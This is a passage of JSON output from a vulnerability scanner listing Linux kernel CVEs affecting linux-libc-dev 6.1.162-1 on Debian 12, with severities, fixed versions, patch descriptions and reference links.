"https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31747" ], "PublishedDate": "2026-05-01T15:16:37.463Z", "LastModifiedDate": "2026-06-17T10:34:23.277Z" }, { "VulnerabilityID": "CVE-2026-31748", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31748", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b551c6ace658e9930e8a6ae07240e6265349bc48749fcb87863c47480ef205db", "Title": "kernel: comedi: me_daq: Fix potential overrun of firmware buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncomedi: me_daq: Fix potential overrun of firmware buffer\n\n`me2600_xilinx_download()` loads the firmware that was requested by\n`request_firmware()`. It is possible for it to overrun the source\nbuffer because it blindly trusts the file format. It reads a data\nstream length from the first 4 bytes into variable `file_length` and\nreads the data stream contents of length `file_length` from offset 16\nonwards. Although it checks that the supplied firmware is at least 16\nbytes long, it does not check that it is long enough to contain the data\nstream.\n\nAdd a test to ensure that the supplied firmware is long enough to\ncontain the header and the data stream. On failure, log an error and\nreturn `-EINVAL`.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31748", "https://git.kernel.org/linus/cc797d4821c754c701d9714b58bea947e31dbbe0%20%287.0-rc7%29", "https://git.kernel.org/stable/c/1bf8761eb59e94bf7b8c17b2a1ee48f14378b172", "https://git.kernel.org/stable/c/2fc25a4c2e055cd42ea39a1b42c89bfef70e0319", "https://git.kernel.org/stable/c/9f39fa07259eb342908e4aa0271dee038a8ce4f8", "https://git.kernel.org/stable/c/a47ae40339c1048f519df33ff8840731720f57cb", "https://git.kernel.org/stable/c/c16ac4e173a05011437a2d868f70cc415339065a", "https://git.kernel.org/stable/c/c8c607a77aab783f2e38cc2e0f24aa6c8f6d200b", "https://git.kernel.org/stable/c/cc797d4821c754c701d9714b58bea947e31dbbe0", "https://git.kernel.org/stable/c/f3f8ec00cfb8d8e826e30b1138a56355b88e9ba8", "https://lore.kernel.org/linux-cve-announce/2026050141-CVE-2026-31748-ab3e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31748", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31748" ], "PublishedDate": "2026-05-01T15:16:37.593Z", "LastModifiedDate": "2026-06-17T10:34:23.397Z" }, { "VulnerabilityID": "CVE-2026-31759", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31759", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b10c447a320c2cc8ba22e75d4e6f510103fa1c8e712a75fc4033f0fddd5f9094", "Title": "kernel: usb: ulpi: fix double free in ulpi_register_interface() error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: ulpi: fix double free in ulpi_register_interface() error path\n\nWhen device_register() fails, ulpi_register() calls put_device() on\nulpi-\u003edev.\n\nThe device release callback ulpi_dev_release() drops the OF node\nreference and frees ulpi, but the current error path in\nulpi_register_interface() then calls kfree(ulpi) again, causing a\ndouble free.\n\nLet put_device() handle the cleanup through ulpi_dev_release() and\navoid freeing ulpi again in ulpi_register_interface().", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31759", "https://git.kernel.org/linus/01af542392b5d41fd659d487015a71f627accce3%20%287.0-rc7%29", "https://git.kernel.org/stable/c/01af542392b5d41fd659d487015a71f627accce3", "https://git.kernel.org/stable/c/272a9b26c336a295e4e209157fed809706c1b1f7", "https://git.kernel.org/stable/c/2f70ba9dae13a190673cc3f9b4aad52179738f60", "https://git.kernel.org/stable/c/38c28fe25611099230f0965c925499bfcf46a795", "https://git.kernel.org/stable/c/8763f8317bb389aded32a32b08f6751cfff657d2", "https://git.kernel.org/stable/c/a6e5461f076c2ef63159f18e5cdbd30b50f0bc15", "https://git.kernel.org/stable/c/aaeae6533d77e6ed4def85baec01e2815ebbef61", "https://git.kernel.org/stable/c/ee248e6e941e4f2e634df2bd43e5f1ef810ab6df", "https://linux.oracle.com/cve/CVE-2026-31759.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050145-CVE-2026-31759-426b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31759", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31759" ], "PublishedDate": "2026-05-01T15:16:38.923Z", "LastModifiedDate": "2026-11-06T16:18:09.52Z" }, { "VulnerabilityID": "CVE-2026-31778", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31778", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4d90660ba0f5282dfa61b660979a5907ce2320a74cab32a93c172957a8778d23", "Title": "kernel: ALSA: caiaq: fix stack out-of-bounds read in init_card", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: caiaq: fix stack out-of-bounds read in init_card\n\nThe loop creates a whitespace-stripped copy of the card shortname\nwhere `len \u003c sizeof(card-\u003eid)` is used for the bounds check. Since\nsizeof(card-\u003eid) is 16 and the local id buffer is also 16 bytes,\nwriting 16 non-space characters fills the entire buffer,\noverwriting the terminating nullbyte.\n\nWhen this non-null-terminated string is later passed to\nsnd_card_set_id() -\u003e copy_valid_id_string(), the function scans\nforward with `while (*nid \u0026\u0026 ...)` and reads past the end of the\nstack buffer, reading the contents of the stack.\n\nA USB device with a product name containing many non-ASCII, non-space\ncharacters (e.g. multibyte UTF-8) will reliably trigger this as follows:\n\n BUG: KASAN: stack-out-of-bounds in copy_valid_id_string\n sound/core/init.c:696 [inline]\n BUG: KASAN: stack-out-of-bounds in snd_card_set_id_no_lock+0x698/0x74c\n sound/core/init.c:718\n\nThe off-by-one has been present since commit bafeee5b1f8d (\"ALSA:\nsnd_usb_caiaq: give better shortname\") from June 2009 (v2.6.31-rc1),\nwhich first introduced this whitespace-stripping loop. The original\ncode never accounted for the null terminator when bounding the copy.\n\nFix this by changing the loop bound to `sizeof(card-\u003eid) - 1`,\nensuring at least one byte remains as the null terminator.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31778", "https://git.kernel.org/linus/45424e871abf2a152e247a9cff78359f18dd95c0%20%287.0-rc7%29", "https://git.kernel.org/stable/c/02d9c5b0b5553a391448b6d655262bd829f90234", "https://git.kernel.org/stable/c/3178b62e2e31bab39f63d4c8e54bf4ee0a425627", "https://git.kernel.org/stable/c/3afa2e67f3523a980a2f90fd63c22322ac2b9ce0", "https://git.kernel.org/stable/c/3f7f8bae0d52cbd07ab04b76b6aac89ef98ee9f6", "https://git.kernel.org/stable/c/45424e871abf2a152e247a9cff78359f18dd95c0", "https://git.kernel.org/stable/c/66194c2575a4f567577ae70b1d7561163ce791a6", "https://git.kernel.org/stable/c/7594a6464873d90fd229e5b94cdd3b92c9feabed", "https://git.kernel.org/stable/c/a82c1bce2d1299dd3c686a8fe48cf75b79a403c7", "https://linux.oracle.com/cve/CVE-2026-31778.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050150-CVE-2026-31778-5ddb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31778", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31778" ], "PublishedDate": "2026-05-01T15:16:41.19Z", "LastModifiedDate": "2026-11-06T16:18:10.52Z" }, { "VulnerabilityID": "CVE-2026-31787", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31787", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8e6fdb73e0b9ff807f55bb0fe93139af47b6446ac8ca852c4f4e8a3ee7186d95", "Title": "kernel: xen/privcmd: fix double free via VMA splitting", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxen/privcmd: fix double free via VMA splitting\n\nprivcmd_vm_ops defines .close (privcmd_close), but neither .may_split\nnor .open. When userspace does a partial munmap() on a privcmd mapping,\nthe kernel splits the VMA via __split_vma(). Since may_split is NULL,\nthe split is allowed. vm_area_dup() copies vm_private_data (a pages\narray allocated in alloc_empty_pages()) into the new VMA without any\nfixup, because there is no .open callback.\n\nBoth VMAs now point to the same pages array. When the unmapped portion\nis closed, privcmd_close() calls:\n - xen_unmap_domain_gfn_range()\n - xen_free_unpopulated_pages()\n - kvfree(pages)\n\nThe surviving VMA still holds the dangling pointer. When it is later\ndestroyed, the same sequence runs again, which leads to a double free.\n\nFix this issue by adding a .may_split callback denying the VMA split.\n\nThis is XSA-487 / CVE-2026-31787", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/28/14", "http://xenbits.xen.org/xsa/advisory-487.html", "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/security/cve/CVE-2026-31787", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/stable/c/1576ff3869cbd3620717195f971c85b7d7fd62b5", "https://git.kernel.org/stable/c/24daca4fc07f3ff8cd0e3f629cd982187f48436a", "https://git.kernel.org/stable/c/2894a351fe2ea8684919d36df3188b9a35e3926f", "https://git.kernel.org/stable/c/2b985d3a024b9e8c24e21671b34e855569763808", "https://git.kernel.org/stable/c/402d84ad9e89bd4cbfd07ca8598532b7021daf95", "https://git.kernel.org/stable/c/446ee446d9ae66f36e95c3c90bbcc4e56b94cde0", "https://git.kernel.org/stable/c/71bf829800758a6e3889096e4754ef47ba7fc850", "https://git.kernel.org/stable/c/dbf862ce9f009128ab86b234d91413a3e450beb4", "https://linux.oracle.com/cve/CVE-2026-31787.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026043034-CVE-2026-31787-f6cc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31787", "https://www.cve.org/CVERecord?id=CVE-2026-31787", "https://xenbits.xen.org/xsa/advisory-487.html" ], "PublishedDate": "2026-04-30T11:16:21.087Z", "LastModifiedDate": "2026-11-06T16:18:11.087Z" }, { "VulnerabilityID": "CVE-2026-31788", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31788", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:24c9935704fd8aba654d6d0a13e74bc366ed62f5119b08f161345caab45a7dc6", "Title": "kernel: xen/privcmd: restrict usage in unprivileged domU", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxen/privcmd: restrict usage in unprivileged domU\n\nThe Xen privcmd driver allows to issue arbitrary hypercalls from\nuser space processes. This is normally no problem, as access is\nusually limited to root and the hypervisor will deny any hypercalls\naffecting other domains.\n\nIn case the guest is booted using secure boot, however, the privcmd\ndriver would be enabling a root user process to modify e.g. kernel\nmemory contents, thus breaking the secure boot feature.\n\nThe only known case where an unprivileged domU is really needing to\nuse the privcmd driver is the case when it is acting as the device\nmodel for another guest. In this case all hypercalls issued via the\nprivcmd driver will target that other guest.\n\nFortunately the privcmd driver can already be locked down to allow\nonly hypercalls targeting a specific domain, but this mode can be\nactivated from user land only today.\n\nThe target domain can be obtained from Xenstore, so when not running\nin dom0 restrict the privcmd driver to that target domain from the\nbeginning, resolving the potential problem of breaking secure boot.\n\nThis is XSA-482\n\n---\nV2:\n- defer reading from Xenstore if Xenstore isn't ready yet (Jan Beulich)\n- wait in open() if target domain isn't known yet\n- issue message in case no target domain found (Jan Beulich)", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/03/24/2", "http://www.openwall.com/lists/oss-security/2026/03/24/3", "http://www.openwall.com/lists/oss-security/2026/03/24/4", "http://www.openwall.com/lists/oss-security/2026/03/24/5", "http://www.openwall.com/lists/oss-security/2026/03/26/4", "http://xenbits.xen.org/xsa/advisory-482.html", "https://access.redhat.com/security/cve/CVE-2026-31788", "https://git.kernel.org/linus/1613462be621ad5103ec338a7b0ca0746ec4e5f1", "https://git.kernel.org/linus/453b8fb68f3641fea970db88b7d9a153ed2a37e8", "https://git.kernel.org/stable/c/1879319d790f7d57622cdc22807b60ea78b56b6d", "https://git.kernel.org/stable/c/389bae9a4409934e8b8d4dbdaaf02a3ae71cf8e4", "https://git.kernel.org/stable/c/3ee5b9e3de4b8bdd74183d83205481c91a9effc8", "https://git.kernel.org/stable/c/453b8fb68f3641fea970db88b7d9a153ed2a37e8", "https://git.kernel.org/stable/c/4eb245ff0d33b618e097a2c23de5df56d4ad6969", "https://git.kernel.org/stable/c/78432d8f0372c71c518096395537fa12be7ff24e", "https://git.kernel.org/stable/c/87a803edb2ded911cb587c53bff179d2a2ed2a28", "https://git.kernel.org/stable/c/cbede2e833da1893afbea9b3ff29b5dda23a4a91", "https://linux.oracle.com/cve/CVE-2026-31788.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032548-CVE-2026-31788-032c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31788", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31788", "https://xenbits.xen.org/xsa/advisory-482.html" ], "PublishedDate": "2026-03-25T11:16:40.513Z", "LastModifiedDate": "2026-10-19T20:17:59.56Z" }, { "VulnerabilityID": "CVE-2026-43015", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43015", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:81d512c449f5591b77c330950d69ea676d299803d07290bbf1ed8fd980e28430", "Title": "kernel: net: macb: fix clk handling on PCI glue driver removal", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: macb: fix clk handling on PCI glue driver removal\n\nplatform_device_unregister() may still want to use the registered clks\nduring runtime resume callback.\n\nNote that there is a commit d82d5303c4c5 (\"net: macb: fix use after free\non rmmod\") that addressed the similar problem of clk vs platform device\nunregistration but just moved the bug to another place.\n\nSave the pointers to clks into local variables for reuse after platform\ndevice is unregistered.\n\nBUG: KASAN: use-after-free in clk_prepare+0x5a/0x60\nRead of size 8 at addr ffff888104f85e00 by task modprobe/597\n\nCPU: 2 PID: 597 Comm: modprobe Not tainted 6.1.164+ #114\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.1-0-g3208b098f51a-prebuilt.qemu.org 04/01/2014\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x8d/0xba\n print_report+0x17f/0x496\n kasan_report+0xd9/0x180\n clk_prepare+0x5a/0x60\n macb_runtime_resume+0x13d/0x410 [macb]\n pm_generic_runtime_resume+0x97/0xd0\n __rpm_callback+0xc8/0x4d0\n rpm_callback+0xf6/0x230\n rpm_resume+0xeeb/0x1a70\n __pm_runtime_resume+0xb4/0x170\n bus_remove_device+0x2e3/0x4b0\n device_del+0x5b3/0xdc0\n platform_device_del+0x4e/0x280\n platform_device_unregister+0x11/0x50\n pci_device_remove+0xae/0x210\n device_remove+0xcb/0x180\n device_release_driver_internal+0x529/0x770\n driver_detach+0xd4/0x1a0\n bus_remove_driver+0x135/0x260\n driver_unregister+0x72/0xb0\n 